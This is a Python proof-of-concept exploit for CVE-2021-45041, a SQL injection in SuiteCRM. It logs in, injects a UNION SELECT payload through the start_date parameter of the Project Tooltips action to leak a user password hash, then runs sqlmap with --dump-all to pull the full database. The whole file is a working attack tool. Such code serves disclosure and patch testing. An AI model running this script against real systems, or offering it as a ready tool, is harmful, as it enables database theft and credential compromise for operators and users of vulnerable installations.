#!/usr/bin/env python3 import requests from bs4 import BeautifulSoup import click from re import findall from os import system from urllib.parse import urlencode from shlex import quote import logging logging.basicConfig(level=logging.INFO) logger = logging.getLogger("CVE-2021-45041") def prepare_injection(injection: str) -> str: matches = findall("'(\w+)'", injection) for match in matches: chars = ",".join([f"CHAR({ord(c)})" for c in match]) output = f"CONCAT({chars})" injection = injection.replace(f"'{match}'", output) return injection def map_idx_to_column(value: str) -> str: injection = prepare_injection("SELECT user_hash from users limit 1") if value == 5: return f"({injection})" return f"{value}" def prepare_sqlmap_command(host: str, query_params: dict, cookies: dict, dbms: str, col_count: int) -> str: host = quote(host) dbms = quote(dbms) query_params = urlencode(query_params).replace('%2A', '*') cookies = "; ".join([str(x) + "=" + str(y) for x, y in cookies.items()]) return f"sqlmap -u '{host}/index.php?{query_params}' --headers 'Cookie: {cookies}' --technique U --dbms {dbms} --union-cols={col_count} --batch --dump-all" @click.command("CVE-2021-45041", epilog="https://github.com/manuelz120/CVE-2021-45041") @click.option( "--host", '-h', default="http://localhost", help="Root of SuiteCRM installation. Defaults to http://localhost") @click.option("--username", '-u', prompt="Username> ", help="Username") @click.option("--password", '-p', prompt="Password> ", help="password", hide_input=True) @click.option("--col_count", '-c', default=44, help="Number of columns to use in union query. Defaults to 44") @click.option("--dbms", '-d', default="mysql", help="DBMs used by SuiteCRM. Defaults to mysql") @click.option("--is_core", '-d', default=False, help="SuiteCRM Core (>= 8.0.0). Defaults to False") def main(host: str, username: str, password: str, col_count: int, dbms: str, is_core: bool): host = f"{host}/legacy" if is_core else host session = requests.Session() login_response = session.post(f'{host}/index.php', data={ "module": "Users", "action": "Authenticate", "user_name": username, "username_password": password, }) if "&action=Login" in login_response.url: logger.error( "Login didn't work. Are you sure you specified the correct parameters?" ) exit(-1) logger.info( f"Login did work - Trying to leak user hash to check if SuiteCRM is vulnerable" ) union_cols = ", ".join(map(map_idx_to_column, range(col_count))) payload = f') UNION SELECT {union_cols} from dual; #' response = session.get(f'{host}/index.php', params={ 'module': 'Project', 'action': 'Tooltips', 'resource_id': 'test\\', 'start_date': payload }) markup = BeautifulSoup(response.text, "html.parser") output = markup.find_all('tr')[1].find_all('td')[1].text logger.info(f"Received the following hash: {output}") logger.info( f"If this doesn't look like a password hash, the exploit might not work correctly" ) sqlmap_command = prepare_sqlmap_command( host, { 'module': 'Project', 'action': 'Tooltips', 'resource_id': 'test\\', 'start_date': ") *" }, session.cookies, dbms, col_count) logger.info(f"Launching sqlmap against target to get full DB dump") logger.info(sqlmap_command) system(sqlmap_command) if __name__ == "__main__": main()